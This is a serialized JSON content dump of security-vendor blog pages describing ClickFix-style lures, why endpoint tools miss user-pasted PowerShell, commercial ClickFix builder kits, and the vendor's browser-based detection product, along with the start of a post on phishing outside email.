make it appear suspicious. ",{"data":24215,"content":24216,"nodeType":2309},{},[24217],{"data":24218,"content":24219,"nodeType":866},{},[24220],{"data":24221,"marks":24222,"value":24223,"nodeType":865},{},[],"From the EDR’s point of view, a trusted parent process is launching a script – which might not immediately be judged as malicious, especially if the command is obfuscated or uses allowed system functions. Since the action is initiated by the user, it blends in with normal user-driven administration tasks. ",{"data":24225,"content":24226,"nodeType":2309},{},[24227],{"data":24228,"content":24229,"nodeType":866},{},[24230],{"data":24231,"marks":24232,"value":24233,"nodeType":865},{},[],"The PowerShell commands themselves might be obfuscated or broken into stages to avoid easy detection by heuristic rules. EDR telemetry might record that a PowerShell process ran, but without a known bad signature or a clear policy violation, it may not flag it immediately. ",{"data":24235,"content":24239,"nodeType":921},{"target":24236},{"sys":24237},{"id":24238,"type":918,"linkType":919},"6djGsqBFTHlLLITpTK7IMk",[],{"data":24241,"content":24242,"nodeType":1229},{},[24243],{"data":24244,"marks":24245,"value":24247,"nodeType":865},{},[24246],{"type":935},"Accessing ClickFix-style capabilities is easier than ever",{"data":24249,"content":24250,"nodeType":866},{},[24251,24255,24263],{"data":24252,"marks":24253,"value":24254,"nodeType":865},{},[],"This capability is increasingly available to all levels of threat actor, with ",{"data":24256,"content":24257,"nodeType":889},{"uri":23890},[24258],{"data":24259,"marks":24260,"value":24262,"nodeType":865},{},[24261],{"type":1191},"off-the-shelf options available",{"data":24264,"marks":24265,"value":24266,"nodeType":865},{},[]," in the form of ClickFix builders (also called “Win + R”) on popular hacker forums since late 2024. ",{"data":24268,"content":24269,"nodeType":866},{},[24270],{"data":24271,"marks":24272,"value":24273,"nodeType":865},{},[],"Attackers are bundling ClickFix builders into their existing kits to:",{"data":24275,"content":24276,"nodeType":2374},{},[24277,24287],{"data":24278,"content":24279,"nodeType":2309},{},[24280],{"data":24281,"content":24282,"nodeType":866},{},[24283],{"data":24284,"marks":24285,"value":24286,"nodeType":865},{},[],"Use pre-canned landing pages with various lures including Cloudflare. ",{"data":24288,"content":24289,"nodeType":2309},{},[24290],{"data":24291,"content":24292,"nodeType":866},{},[24293],{"data":24294,"marks":24295,"value":24296,"nodeType":865},{},[],"Offer construction of malicious commands that users will paste into the Windows Run dialog. ",{"data":24298,"content":24299,"nodeType":866},{},[24300],{"data":24301,"marks":24302,"value":24303,"nodeType":865},{},[],"These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence. The cost of subscription to such a service might be between US$200 to US$1,500 per month. ",{"data":24305,"content":24306,"nodeType":866},{},[24307],{"data":24308,"marks":24309,"value":24310,"nodeType":865},{},[],"In short, these capabilities are increasingly accessible to the general population of hackers, and it is increasingly in the interests of malware developers to offer premium hacker tools designed to bypass current detections. ",{"data":24312,"content":24316,"nodeType":921},{"target":24313},{"sys":24314},{"id":24315,"type":918,"linkType":919},"5hkRsOBZCOABAShCo8RjJg",[],{"data":24318,"content":24319,"nodeType":866},{},[24320],{"data":24321,"marks":24322,"value":24323,"nodeType":865},{},[],"In any case, relying on just-in-time detection at the point of execution is increasingly unreliable and will always be at the mercy of the cat-and-mouse game between attackers and defenders. Organizations employing custom detections looking for specific malware behavior are likely to have better success than those relying on out-of-the-box EDR configs, but this requires continual maintenance to be effective. ",{"data":24325,"content":24326,"nodeType":944},{},[],{"data":24328,"content":24329,"nodeType":953},{},[24330],{"data":24331,"marks":24332,"value":24334,"nodeType":865},{},[24333],{"type":935},"Solving ClickFix detection in the browser with Push",{"data":24336,"content":24337,"nodeType":866},{},[24338,24341,24345],{"data":24339,"marks":24340,"value":23989,"nodeType":865},{},[],{"data":24342,"marks":24343,"value":23769,"nodeType":865},{},[24344],{"type":935},{"data":24346,"marks":24347,"value":24348,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking, with a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":24350,"content":24351,"nodeType":866},{},[24352,24356,24365],{"data":24353,"marks":24354,"value":24355,"nodeType":865},{},[],"A key part of our design philosophy is to find ways to universally detect attacker TTPs by analyzing generic attacker actions that can’t be avoided by the attacker. One of our best prior examples of this is with our ",{"data":24357,"content":24359,"nodeType":889},{"uri":24358},"https://pushsecurity.com/blog/introducing-sso-password-protection/",[24360],{"data":24361,"marks":24362,"value":24364,"nodeType":865},{},[24363],{"type":1191},"password protection feature",{"data":24366,"marks":24367,"value":24368,"nodeType":865},{},[],", which detects and blocks phishing attacks by triggering when a user attempts to enter a password that belongs to one domain on a different domain. ",{"data":24370,"content":24371,"nodeType":866},{},[24372],{"data":24373,"marks":24374,"value":24375,"nodeType":865},{},[],"In the case of ClickFix, every attack involves copying a malicious script from a page — a behavior the attacker can’t avoid.",{"data":24377,"content":24378,"nodeType":866},{},[24379],{"data":24380,"marks":24381,"value":24382,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity. ",{"data":24384,"content":24385,"nodeType":866},{},[24386],{"data":24387,"marks":24388,"value":24389,"nodeType":865},{},[],"Check out the video below to see Push in action. ",{"data":24391,"content":24394,"nodeType":921},{"target":24392},{"sys":24393},{"id":23792,"type":918,"linkType":919},[],{"data":24396,"content":24397,"nodeType":1229},{},[24398],{"data":24399,"marks":24400,"value":24402,"nodeType":865},{},[24401],{"type":935},"Enable ClickFix detection in just a few clicks",{"data":24404,"content":24405,"nodeType":866},{},[24406,24410,24418],{"data":24407,"marks":24408,"value":24409,"nodeType":865},{},[],"Check out the ",{"data":24411,"content":24413,"nodeType":889},{"uri":24412},"https://pushsecurity.com/help/10141/#start",[24414],{"data":24415,"marks":24416,"value":24417,"nodeType":865},{},[],"help article",{"data":24419,"marks":24420,"value":24421,"nodeType":865},{},[]," for step-by-step instructions on how to enable the control. ",{"data":24423,"content":24424,"nodeType":944},{},[],{"data":24426,"content":24427,"nodeType":953},{},[24428],{"data":24429,"marks":24430,"value":5589,"nodeType":865},{},[24431],{"type":935},{"data":24433,"content":24434,"nodeType":866},{},[24435],{"data":24436,"marks":24437,"value":24438,"nodeType":865},{},[],"Push provides last mile protection against browser-based attacks, adding a net-new layer of technical protection in the browser. ",{"data":24440,"content":24441,"nodeType":866},{},[24442],{"data":24443,"marks":24444,"value":24445,"nodeType":865},{},[],"Right now, most organizations are left relying on user awareness. Faced with increasingly novel attack types, encountered all over the internet, users are being caught unawares — further reducing the efficacy of an already fragile control. ",{"data":24447,"content":24448,"nodeType":866},{},[24449],{"data":24450,"marks":24451,"value":24452,"nodeType":865},{},[],"By seeing what the user sees in the browser, as they see it, as well as monitoring for risky behaviors, Push provides a strong backstop against an ever-expanding landscape of browser-based exploits. ",{"data":24454,"content":24455,"nodeType":866},{},[24456],{"data":24457,"marks":24458,"value":24459,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":24461,"content":24462,"nodeType":866},{},[24463,24466,24473,24476,24483],{"data":24464,"marks":24465,"value":9255,"nodeType":865},{},[],{"data":24467,"content":24468,"nodeType":889},{"uri":3192},[24469],{"data":24470,"marks":24471,"value":3198,"nodeType":865},{},[24472],{"type":1191},{"data":24474,"marks":24475,"value":19268,"nodeType":865},{},[],{"data":24477,"content":24478,"nodeType":889},{"uri":2644},[24479],{"data":24480,"marks":24481,"value":3223,"nodeType":865},{},[24482],{"type":1191},{"data":24484,"marks":24485,"value":1066,"nodeType":865},{},[],{"data":24487,"content":24490,"nodeType":921},{"target":24488},{"sys":24489},{"id":24238,"type":918,"linkType":919},[],{"data":24492,"content":24493,"nodeType":866},{},[24494],{"data":24495,"marks":24496,"value":21,"nodeType":865},{},[],"Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. ","2025-10-09T00:00:00.000Z",{"items":24500},[24501,24503],{"sys":24502,"name":342},{"id":2666},{"sys":24504,"name":2663},{"id":2662},{"items":24506},[24507],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":24508},{"url":2674},"blog/installfix",{"json":24511},{"data":24512,"content":24513,"nodeType":1663},{},[24514],{"data":24515,"content":24516,"nodeType":866},{},[24517],{"data":24518,"marks":24519,"value":24520,"nodeType":865},{},[],"Attackers are distributing almost identical cloned sites of popular developer tools like Claude Code with fake install instructions via malicious search engine ads — tricking victims into installing infostealer malware instead. ",{"id":2677,"publishedAt":24522},"2026-08-12T13:28:02.181Z",{"items":24524},[24525,24527],{"sys":24526,"name":2663},{"id":2662},{"sys":24528,"name":342},{"id":2666},{"items":24530},[24531,24533,24535,24537,24539,24541,24543,24545,24547,24549,24551,24553],{"sys":24532,"name":279,"slug":280,"tier":31},{"id":276},{"sys":24534,"name":519,"slug":520,"tier":31},{"id":516},{"sys":24536,"name":342,"slug":343,"tier":31},{"id":339},{"sys":24538,"name":642,"slug":643,"tier":31},{"id":639},{"sys":24540,"name":315,"slug":316,"tier":45},{"id":312},{"sys":24542,"name":440,"slug":441,"tier":45},{"id":437},{"sys":24544,"name":607,"slug":608,"tier":45},{"id":604},{"sys":24546,"name":448,"slug":449,"tier":45},{"id":445},{"sys":24548,"name":422,"slug":423,"tier":45},{"id":419},{"sys":24550,"name":431,"slug":432,"tier":45},{"id":428},{"sys":24552,"name":475,"slug":476,"tier":45},{"id":472},{"sys":24554,"name":244,"slug":245,"tier":45},{"id":241},"bhqwswrCKY8XUOeyfqgrT_bbdwMvlm25CtqySFe4ADE",{"id":24557,"title":23861,"authorsCollection":24558,"content":24563,"extension":228,"faqItemsCollection":25134,"faqTitle":59,"featured":6,"hashTags":59,"meta":25136,"metaTitle":25137,"ogImage":59,"postType":1797,"publishedDate":23863,"relatedBlogPostsCollection":25138,"slug":23864,"stem":26921,"subtitle":59,"summary":26922,"synopsis":23862,"sys":26932,"tagsCollection":26934,"topicsCollection":26940,"__hash__":26968},"blog/blog/the-most-advanced-clickfix-yet.json",{"items":24559},[24560],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":24561,"profilePicture":24562},[14260],{"url":2674},{"json":24564,"links":25060},{"data":24565,"content":24566,"nodeType":1663},{},[24567,24573,24579,24589,24594,24600,24603,24610,24616,24621,24634,24640,24661,24667,24672,24675,24682,24708,24713,24729,24734,24750,24756,24761,24764,24771,24777,24793,24799,24815,24821,24826,24829,24836,24842,24872,24878,24884,24924,24939,24948,24954,24957,24964,24980,24986,24992,24997,25000,25007,25023,25049,25054],{"data":24568,"content":24569,"nodeType":866},{},[24570],{"data":24571,"marks":24572,"value":23295,"nodeType":865},{},[],{"data":24574,"content":24575,"nodeType":866},{},[24576],{"data":24577,"marks":24578,"value":23302,"nodeType":865},{},[],{"data":24580,"content":24581,"nodeType":866},{},[24582,24585],{"data":24583,"marks":24584,"value":23309,"nodeType":865},{},[],{"data":24586,"marks":24587,"value":23314,"nodeType":865},{},[24588],{"type":935},{"data":24590,"content":24593,"nodeType":921},{"target":24591},{"sys":24592},{"id":23319,"type":918,"linkType":919},[],{"data":24595,"content":24596,"nodeType":866},{},[24597],{"data":24598,"marks":24599,"value":23327,"nodeType":865},{},[],{"data":24601,"content":24602,"nodeType":944},{},[],{"data":24604,"content":24605,"nodeType":953},{},[24606],{"data":24607,"marks":24608,"value":23338,"nodeType":865},{},[24609],{"type":935},{"data":24611,"content":24612,"nodeType":866},{},[24613],{"data":24614,"marks":24615,"value":23345,"nodeType":865},{},[],{"data":24617,"content":24620,"nodeType":921},{"target":24618},{"sys":24619},{"id":23350,"type":918,"linkType":919},[],{"data":24622,"content":24623,"nodeType":866},{},[24624,24627,24631],{"data":24625,"marks":24626,"value":23358,"nodeType":865},{},[],{"data":24628,"marks":24629,"value":23363,"nodeType":865},{},[24630],{"type":935},{"data":24632,"marks":24633,"value":23367,"nodeType":865},{},[],{"data":24635,"content":24636,"nodeType":866},{},[24637],{"data":24638,"marks":24639,"value":23374,"nodeType":865},{},[],{"data":24641,"content":24642,"nodeType":2374},{},[24643,24652],{"data":24644,"content":24645,"nodeType":2309},{},[24646],{"data":24647,"content":24648,"nodeType":866},{},[24649],{"data":24650,"marks":24651,"value":23387,"nodeType":865},{},[],{"data":24653,"content":24654,"nodeType":2309},{},[24655],{"data":24656,"content":24657,"nodeType":866},{},[24658],{"data":24659,"marks":24660,"value":23397,"nodeType":865},{},[],{"data":24662,"content":24663,"nodeType":866},{},[24664],{"data":24665,"marks":24666,"value":23404,"nodeType":865},{},[],{"data":24668,"content":24671,"nodeType":921},{"target":24669},{"sys":24670},{"id":23409,"type":918,"linkType":919},[],{"data":24673,"content":24674,"nodeType":944},{},[],{"data":24676,"content":24677,"nodeType":953},{},[24678],{"data":24679,"marks":24680,"value":23421,"nodeType":865},{},[24681],{"type":935},{"data":24683,"content":24684,"nodeType":866},{},[24685,24688,24695,24698,24705],{"data":24686,"marks":24687,"value":23428,"nodeType":865},{},[],{"data":24689,"content":24690,"nodeType":889},{"uri":23431},[24691],{"data":24692,"marks":24693,"value":23437,"nodeType":865},{},[24694],{"type":1191},{"data":24696,"marks":24697,"value":23441,"nodeType":865},{},[],{"data":24699,"content":24700,"nodeType":889},{"uri":23444},[24701],{"data":24702,"marks":24703,"value":23450,"nodeType":865},{},[24704],{"type":1191},{"data":24706,"marks":24707,"value":23454,"nodeType":865},{},[],{"data":24709,"content":24712,"nodeType":921},{"target":24710},{"sys":24711},{"id":23459,"type":918,"linkType":919},[],{"data":24714,"content":24715,"nodeType":866},{},[24716,24719,24726],{"data":24717,"marks":24718,"value":23467,"nodeType":865},{},[],{"data":24720,"content":24721,"nodeType":889},{"uri":23470},[24722],{"data":24723,"marks":24724,"value":23476,"nodeType":865},{},[24725],{"type":1191},{"data":24727,"marks":24728,"value":3017,"nodeType":865},{},[],{"data":24730,"content":24733,"nodeType":921},{"target":24731},{"sys":24732},{"id":23484,"type":918,"linkType":919},[],{"data":24735,"content":24736,"nodeType":866},{},[24737,24740,24747],{"data":24738,"marks":24739,"value":23492,"nodeType":865},{},[],{"data":24741,"content":24742,"nodeType":889},{"uri":23495},[24743],{"data":24744,"marks":24745,"value":6750,"nodeType":865},{},[24746],{"type":1191},{"data":24748,"marks":24749,"value":23504,"nodeType":865},{},[],{"data":24751,"content":24752,"nodeType":866},{},[24753],{"data":24754,"marks":24755,"value":23511,"nodeType":865},{},[],{"data":24757,"content":24760,"nodeType":921},{"target":24758},{"sys":24759},{"id":23516,"type":918,"linkType":919},[],{"data":24762,"content":24763,"nodeType":944},{},[],{"data":24765,"content":24766,"nodeType":953},{},[24767],{"data":24768,"marks":24769,"value":23528,"nodeType":865},{},[24770],{"type":935},{"data":24772,"content":24773,"nodeType":866},{},[24774],{"data":24775,"marks":24776,"value":23535,"nodeType":865},{},[],{"data":24778,"content":24779,"nodeType":866},{},[24780,24783,24790],{"data":24781,"marks":24782,"value":23542,"nodeType":865},{},[],{"data":24784,"content":24785,"nodeType":889},{"uri":23545},[24786],{"data":24787,"marks":24788,"value":23551,"nodeType":865},{},[24789],{"type":1191},{"data":24791,"marks":24792,"value":23555,"nodeType":865},{},[],{"data":24794,"content":24795,"nodeType":866},{},[24796],{"data":24797,"marks":24798,"value":23562,"nodeType":865},{},[],{"data":24800,"content":24801,"nodeType":866},{},[24802,24805,24812],{"data":24803,"marks":24804,"value":23569,"nodeType":865},{},[],{"data":24806,"content":24807,"nodeType":889},{"uri":23572},[24808],{"data":24809,"marks":24810,"value":23578,"nodeType":865},{},[24811],{"type":1191},{"data":24813,"marks":24814,"value":23582,"nodeType":865},{},[],{"data":24816,"content":24817,"nodeType":866},{},[24818],{"data":24819,"marks":24820,"value":23589,"nodeType":865},{},[],{"data":24822,"content":24825,"nodeType":921},{"target":24823},{"sys":24824},{"id":23594,"type":918,"linkType":919},[],{"data":24827,"content":24828,"nodeType":944},{},[],{"data":24830,"content":24831,"nodeType":953},{},[24832],{"data":24833,"marks":24834,"value":23606,"nodeType":865},{},[24835],{"type":935},{"data":24837,"content":24838,"nodeType":866},{},[24839],{"data":24840,"marks":24841,"value":23613,"nodeType":865},{},[],{"data":24843,"content":24844,"nodeType":2374},{},[24845,24854,24863],{"data":24846,"content":24847,"nodeType":2309},{},[24848],{"data":24849,"content":24850,"nodeType":866},{},[24851],{"data":24852,"marks":24853,"value":23626,"nodeType":865},{},[],{"data":24855,"content":24856,"nodeType":2309},{},[24857],{"data":24858,"content":24859,"nodeType":866},{},[24860],{"data":24861,"marks":24862,"value":23636,"nodeType":865},{},[],{"data":24864,"content":24865,"nodeType":2309},{},[24866],{"data":24867,"content":24868,"nodeType":866},{},[24869],{"data":24870,"marks":24871,"value":23646,"nodeType":865},{},[],{"data":24873,"content":24874,"nodeType":866},{},[24875],{"data":24876,"marks":24877,"value":23653,"nodeType":865},{},[],{"data":24879,"content":24880,"nodeType":866},{},[24881],{"data":24882,"marks":24883,"value":23660,"nodeType":865},{},[],{"data":24885,"content":24886,"nodeType":2374},{},[24887,24906,24915],{"data":24888,"content":24889,"nodeType":2309},{},[24890],{"data":24891,"content":24892,"nodeType":866},{},[24893,24896,24903],{"data":24894,"marks":24895,"value":23673,"nodeType":865},{},[],{"data":24897,"content":24898,"nodeType":889},{"uri":23676},[24899],{"data":24900,"marks":24901,"value":23682,"nodeType":865},{},[24902],{"type":1191},{"data":24904,"marks":24905,"value":23686,"nodeType":865},{},[],{"data":24907,"content":24908,"nodeType":2309},{},[24909],{"data":24910,"content":24911,"nodeType":866},{},[24912],{"data":24913,"marks":24914,"value":23696,"nodeType":865},{},[],{"data":24916,"content":24917,"nodeType":2309},{},[24918],{"data":24919,"content":24920,"nodeType":866},{},[24921],{"data":24922,"marks":24923,"value":23706,"nodeType":865},{},[],{"data":24925,"content":24926,"nodeType":866},{},[24927,24930,24936],{"data":24928,"marks":24929,"value":23713,"nodeType":865},{},[],{"data":24931,"content":24932,"nodeType":889},{"uri":23716},[24933],{"data":24934,"marks":24935,"value":23721,"nodeType":865},{},[],{"data":24937,"marks":24938,"value":23725,"nodeType":865},{},[],{"data":24940,"content":24941,"nodeType":5786},{},[24942],{"data":24943,"content":24944,"nodeType":866},{},[24945],{"data":24946,"marks":24947,"value":23735,"nodeType":865},{},[],{"data":24949,"content":24950,"nodeType":866},{},[24951],{"data":24952,"marks":24953,"value":23742,"nodeType":865},{},[],{"data":24955,"content":24956,"nodeType":944},{},[],{"data":24958,"content":24959,"nodeType":953},{},[24960],{"data":24961,"marks":24962,"value":23753,"nodeType":865},{},[24963],{"type":935},{"data":24965,"content":24966,"nodeType":866},{},[24967,24970,24977],{"data":24968,"marks":24969,"value":23760,"nodeType":865},{},[],{"data":24971,"content":24972,"nodeType":889},{"uri":23763},[24973],{"data":24974,"marks":24975,"value":23769,"nodeType":865},{},[24976],{"type":1191},{"data":24978,"marks":24979,"value":23773,"nodeType":865},{},[],{"data":24981,"content":24982,"nodeType":866},{},[24983],{"data":24984,"marks":24985,"value":23780,"nodeType":865},{},[],{"data":24987,"content":24988,"nodeType":866},{},[24989],{"data":24990,"marks":24991,"value":23787,"nodeType":865},{},[],{"data":24993,"content":24996,"nodeType":921},{"target":24994},{"sys":24995},{"id":23792,"type":918,"linkType":919},[],{"data":24998,"content":24999,"nodeType":944},{},[],{"data":25001,"content":25002,"nodeType":953},{},[25003],{"data":25004,"marks":25005,"value":11994,"nodeType":865},{},[25006],{"type":935},{"data":25008,"content":25009,"nodeType":866},{},[25010,25013,25020],{"data":25011,"marks":25012,"value":23810,"nodeType":865},{},[],{"data":25014,"content":25015,"nodeType":889},{"uri":23813},[25016],{"data":25017,"marks":25018,"value":23819,"nodeType":865},{},[25019],{"type":1191},{"data":25021,"marks":25022,"value":23823,"nodeType":865},{},[],{"data":25024,"content":25025,"nodeType":866},{},[25026,25029,25036,25039,25046],{"data":25027,"marks":25028,"value":9255,"nodeType":865},{},[],{"data":25030,"content":25031,"nodeType":889},{"uri":3192},[25032],{"data":25033,"marks":25034,"value":3198,"nodeType":865},{},[25035],{"type":1191},{"data":25037,"marks":25038,"value":19268,"nodeType":865},{},[],{"data":25040,"content":25041,"nodeType":889},{"uri":2644},[25042],{"data":25043,"marks":25044,"value":3223,"nodeType":865},{},[25045],{"type":1191},{"data":25047,"marks":25048,"value":1066,"nodeType":865},{},[],{"data":25050,"content":25053,"nodeType":921},{"target":25051},{"sys":25052},{"id":23409,"type":918,"linkType":919},[],{"data":25055,"content":25056,"nodeType":866},{},[25057],{"data":25058,"marks":25059,"value":21,"nodeType":865},{},[],{"entries":25061},{"hyperlink":25062,"inline":25063,"block":25064},[],[],[25065,25069,25075,25079,25102,25109,25123,25130],{"sys":25066,"__typename":19827,"title":23861,"arcadeDemoUrl":25067,"playText":25068},{"id":23319},"https://demo.arcade.software/yQIHbuD990Dk5CjI1cvS?embed","1 mins",{"sys":25070,"__typename":1671,"title":25071,"caption":25071,"layoutMode":59,"file":25072},{"id":23350},"The most advanced ClickFix page we’ve seen — complete with an embedded video showing the victim how to complete the check.",{"url":25073,"width":1675,"height":25074},"https://images.ctfassets.net/y1cdw1ablpvd/ImveC0bIdp4QxXqHyQKz9/526f7ae589f71d0c23c7c738b8d0bc90/image3.png",1117,{"sys":25076,"__typename":6278,"type":6279,"ctaText":25077,"buttonLabel":25078,"buttonColour":6282,"buttonUrl":23813},{"id":23409},"Check out our latest webinar for a deep dive into the evolution of ClickFix-style attacks, with real-world examples from investigations.","Watch On-demand",{"sys":25080,"__typename":1679,"content":25081,"name":25101,"title":59},{"id":23459},{"json":25082},{"data":25083,"content":25084,"nodeType":1663},{},[25085],{"data":25086,"content":25087,"nodeType":866},{},[25088,25092,25097],{"data":25089,"marks":25090,"value":25091,"nodeType":865},{},[],"Of the ClickFix pages intercepted by Push where the delivery vector was observed, ",{"data":25093,"marks":25094,"value":25096,"nodeType":865},{},[25095],{"type":935},"4 in 5 were accessed via Google Search.",{"data":25098,"marks":25099,"value":25100,"nodeType":865},{},[]," While other examples may have been stopped by controls such as email before the page could be loaded by the user, this shows a significant monitoring gap when it comes to non-email delivery vectors.","ClickFix blog insight box 2",{"sys":25103,"__typename":1671,"title":25104,"caption":25104,"layoutMode":59,"file":25105},{"id":23484},"Like other modern phishing attacks, ClickFix lures are distributed all over the internet — not just email.",{"url":25106,"width":25107,"height":25108},"https://images.ctfassets.net/y1cdw1ablpvd/4l0xLRs8Z1w3aXMbzzyFPL/9cb4721c53379da31a4019371072a7ef/image1.png",1696,986,{"sys":25110,"__typename":1679,"content":25111,"name":25122,"title":59},{"id":23516},{"json":25112},{"data":25113,"content":25114,"nodeType":1663},{},[25115],{"data":25116,"content":25117,"nodeType":866},{},[25118],{"data":25119,"marks":25120,"value":25121,"nodeType":865},{},[],"Although there are ways to block web pages from performing copy to clipboard via device settings or group policy, the practical reality of ClickFix means that these methods are not effective. Because ClickFix is a user gesture initiated paste event (some form of user interaction such as a button press is required on the page before loading the ClickFix lure) it cannot be blocked from the host.","ClickFix insight box 1",{"sys":25124,"__typename":1671,"title":25125,"caption":25125,"layoutMode":59,"file":25126},{"id":23594},"The current hybrid attack path sees the attacker deliver lures in the browser, to compromise the endpoint, to get access to creds and cookies stored in the browser. What if you could skip the endpoint altogether? ",{"url":25127,"width":25128,"height":25129},"https://images.ctfassets.net/y1cdw1ablpvd/7kIZUmQkiHKKX0kjZQYfia/a7957baa43f54fe407779e845240e27e/image2.png",1970,816,{"sys":25131,"__typename":19827,"title":25132,"arcadeDemoUrl":25133,"playText":19830},{"id":23792},"ClickFix Feature Release","https://demo.arcade.software/qhzGMAx2q3b6IRlHqBsB?embed",{"items":25135},[],{},"Analyzing sophisticated ClickFix lures seen in the wild",{"items":25139},[25140,25716,26263],{"__typename":1802,"sys":25141,"content":25143,"title":25702,"synopsis":25703,"hashTags":59,"publishedDate":25704,"slug":25705,"tagsCollection":25706,"authorsCollection":25712},{"id":25142},"4wtqKNN8D4tvbICAQ17L1Z",{"json":25144},{"data":25145,"content":25146,"nodeType":1663},{},[25147,25155,25162,25169,25176,25182,25185,25193,25200,25207,25223,25267,25273,25280,25296,25303,25309,25312,25320,25327,25343,25363,25383,25403,25410,25413,25421,25439,25471,25477,25483,25486,25494,25513,25533,25540,25560,25566,25572,25575,25583,25590,25597,25630,25637,25640,25648,25655,25662,25669,25676],{"data":25148,"content":25149,"nodeType":953},{},[25150],{"data":25151,"marks":25152,"value":25154,"nodeType":865},{},[25153],{"type":935},"Phishing has moved outside of the mailbox",{"data":25156,"content":25157,"nodeType":866},{},[25158],{"data":25159,"marks":25160,"value":25161,"nodeType":865},{},[],"Because of the changes to working practices, employees are more accessible than ever to external attackers. Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. ",{"data":25163,"content":25164,"nodeType":866},{},[25165],{"data":25166,"marks":25167,"value":25168,"nodeType":865},{},[],"But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content.",{"data":25170,"content":25171,"nodeType":866},{},[25172],{"data":25173,"marks":25174,"value":25175,"nodeType":865},{},[],"Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration.",{"data":25177,"content":25181,"nodeType":921},{"target":25178},{"sys":25179},{"id":25180,"type":918,"linkType":919},"1tDciIJqKnNoR4FqZChjTy",[],{"data":25183,"content":25184,"nodeType":944},{},[],{"data":25186,"content":25187,"nodeType":953},{},[25188],{"data":25189,"marks":25190,"value":25192,"nodeType":865},{},[25191],{"type":935},"Why am I not hearing about this more? ",{"data":25194,"content":25195,"nodeType":866},{},[25196],{"data":25197,"marks":25198,"value":25199,"nodeType":865},{},[],"Phishing attacks outside of email usually go unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. ",{"data":25201,"content":25202,"nodeType":866},{},[25203],{"data":25204,"marks":25205,"value":25206,"nodeType":865},{},[],"If phishing bypasses the email layer, most organizations are left relying on user reported attacks. Some organizations might supplement this with a web proxy, but these are being increasingly defeated by modern phishing kits, which use an array of obfuscation and detection evasion techniques to bypass these detections. ",{"data":25208,"content":25209,"nodeType":866},{},[25210,25214,25219],{"data":25211,"marks":25212,"value":25213,"nodeType":865},{},[],"The most valuable information for security teams today is the webpage that is loaded ",{"data":25215,"marks":25216,"value":25218,"nodeType":865},{},[25217],{"type":965},"through",{"data":25220,"marks":25221,"value":25222,"nodeType":865},{},[]," the network traffic: What does the HTML body look like? What is the user likely seeing on the page? To do this, you need to stitch together and reconstruct what the browser is doing by looking at the network data. Except for very simple websites, this happens through JavaScript on the client side. ",{"data":25224,"content":25225,"nodeType":866},{},[25226,25230,25239,25242,25251,25254,25263],{"data":25227,"marks":25228,"value":25229,"nodeType":865},{},[],"This is hard enough when analysing a typical SaaS app. But the latest generation of fully customized Attacker-in-the-Middle (AitM) phishing kits are going out of their way to make this as challenging as possible, using techniques like ",{"data":25231,"content":25233,"nodeType":889},{"uri":25232},"https://phishing-techniques.pushsecurity.com/techniques/dom-obfuscation/",[25234],{"data":25235,"marks":25236,"value":25238,"nodeType":865},{},[25237],{"type":1191},"DOM obfuscation",{"data":25240,"marks":25241,"value":3202,"nodeType":865},{},[],{"data":25243,"content":25245,"nodeType":889},{"uri":25244},"https://phishing-techniques.pushsecurity.com/techniques/page-obfuscation/",[25246],{"data":25247,"marks":25248,"value":25250,"nodeType":865},{},[25249],{"type":1191},"Page obfuscation",{"data":25252,"marks":25253,"value":6593,"nodeType":865},{},[],{"data":25255,"content":25257,"nodeType":889},{"uri":25256},"https://phishing-techniques.pushsecurity.com/techniques/code-obfuscation/",[25258],{"data":25259,"marks":25260,"value":25262,"nodeType":865},{},[25261],{"type":1191},"Code obfuscation",{"data":25264,"marks":25265,"value":25266,"nodeType":865},{},[]," so all you see at a network layer is a garbled, obfuscated mess of JS code.",{"data":25268,"content":25272,"nodeType":921},{"target":25269},{"sys":25270},{"id":25271,"type":918,"linkType":919},"71QsaPju68i5QiJcgQlHDs",[],{"data":25274,"content":25275,"nodeType":866},{},[25276],{"data":25277,"marks":25278,"value":25279,"nodeType":865},{},[],"So, non-email phishing is going broadly undetected through technical controls. And even when spotted and reported by a user — what can you really do about it?",{"data":25281,"content":25282,"nodeType":866},{},[25283,25287,25292],{"data":25284,"marks":25285,"value":25286,"nodeType":865},{},[],"Take a social media phish. You can’t see which other accounts were targeted or hit in your user base. Unlike email, there’s no way to recall or quarantine the same message hitting multiple users. There’s no rule you can modify, or senders you can block. You can report the account, and ",{"data":25288,"marks":25289,"value":25291,"nodeType":865},{},[25290],{"type":965},"maybe",{"data":25293,"marks":25294,"value":25295,"nodeType":865},{},[]," something will happen when the site owner gets around to it — but the attacker has probably got what they needed by then and moved on. ",{"data":25297,"content":25298,"nodeType":866},{},[25299],{"data":25300,"marks":25301,"value":25302,"nodeType":865},{},[],"Most organizations simply block the URLs involved. But this doesn’t really help when attackers are rapidly rotating their phishing domains — by the time you block one site, another three have already taken its place. ",{"data":25304,"content":25308,"nodeType":921},{"target":25305},{"sys":25306},{"id":25307,"type":918,"linkType":919},"1II2kHyOZcShLsexx1TAgy",[],{"data":25310,"content":25311,"nodeType":944},{},[],{"data":25313,"content":25314,"nodeType":953},{},[25315],{"data":25316,"marks":25317,"value":25319,"nodeType":865},{},[25318],{"type":935},"But aren’t these just personal 